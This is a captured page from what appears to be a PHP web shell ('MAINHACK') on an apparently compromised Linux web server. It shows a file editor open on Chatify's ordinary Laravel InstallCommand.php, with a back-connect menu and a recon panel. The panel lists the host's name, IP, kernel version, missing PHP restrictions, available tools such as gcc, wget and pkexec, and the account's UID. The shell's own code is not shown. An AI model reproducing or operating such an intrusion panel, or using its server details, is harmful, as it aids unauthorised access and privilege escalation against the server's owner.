[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: InstallCommand.php
<?php namespace Chatify\Console; use Illuminate\Console\Command; use Illuminate\Support\Facades\Artisan; use Illuminate\Support\Facades\File; class InstallCommand extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'chatify:install'; /** * The console command description. * * @var string */ protected $description = 'Install Chatify package'; /** * Check Laravel version. * * @var bool */ private $isV8; /** * Execute the console command. * * @return void */ public function handle() { $this->isV8 = explode('.',app()->version())[0] >= 8; $this->info('Installing Chatify...'); $this->line('----------'); $this->line('Configurations...'); $this->modifyModelsPath('/../Http/Controllers/MessagesController.php','User'); $this->modifyModelsPath('/../Http/Controllers/MessagesController.php','ChFavorite'); $this->modifyModelsPath('/../Http/Controllers/MessagesController.php','ChMessage'); $this->modifyModelsPath('/../Http/Controllers/Api/MessagesController.php','User'); $this->modifyModelsPath('/../Http/Controllers/Api/MessagesController.php','ChFavorite'); $this->modifyModelsPath('/../Http/Controllers/Api/MessagesController.php','ChMessage'); $this->modifyModelsPath('/../ChatifyMessenger.php','ChFavorite'); $this->modifyModelsPath('/../ChatifyMessenger.php','ChMessage'); $this->modifyModelsPath('/../Models/ChFavorite.php'); $this->modifyModelsPath('/../Models/ChMessage.php'); $this->info('[✓] done'); $assetsToBePublished = [ 'config' => config_path('chatify.php'), 'views' => resource_path('views/vendor/Chatify'), 'assets' => public_path('css/chatify'), 'models' => app_path(($this->isV8 ? 'Models/' : '').'ChMessage.php'), 'migrations' => database_path('migrations/2019_09_22_192348_create_messages_table.php'), ]; foreach ($assetsToBePublished as $target => $path) { $this->line('----------'); $this->process($target, $path); } $this->line('----------'); $this->line('Creating storage symlink...'); Artisan::call('storage:link'); $this->info('[✓] Storage linked.'); $this->line('----------'); $this->info('[✓] Chatify installed successfully'); } /** * Modify models imports/namespace path according to Laravel version. * * @param string $targetFilePath * @param string $model * @return void */ private function modifyModelsPath($targetFilePath, $model = null){ $path = realpath(__DIR__.$targetFilePath); $contents = File::get($path); $model = !empty($model) ? '\\'.$model : ';'; $contents = str_replace( (!$this->isV8 ? 'App\Models' : 'App').$model, ($this->isV8 ? 'App\Models' : 'App').$model, $contents ); File::put($path, $contents); } /** * Check, publish, or overwrite the assets. * * @param string $target * @param string $path * @return void */ private function process($target, $path) { $this->line('Publishing '.$target.'...'); if (!File::exists($path)) { $this->publish($target); $this->info('[✓] '.$target.' published.'); return; } if ($this->shouldOverwrite($target)) { $this->line('Overwriting '.$target.'...'); $this->publish($target,true); $this->info('[✓] '.$target.' published.'); return; } $this->line('[-] Ignored, The existing '.$target.' was not overwritten'); } /** * Ask to overwrite. * * @param string $target * @return void */ private function shouldOverwrite($target) { return $this->confirm( $target.' already exists. Do you want to overwrite it?', false ); } /** * Call the publish command. * * @param string $tag * @param bool $forcePublish * @return void */ private function publish($tag, $forcePublish = false) { $this->call('vendor:publish', [ '--tag' => 'chatify-'.$tag, '--force' => $forcePublish, ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.64 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002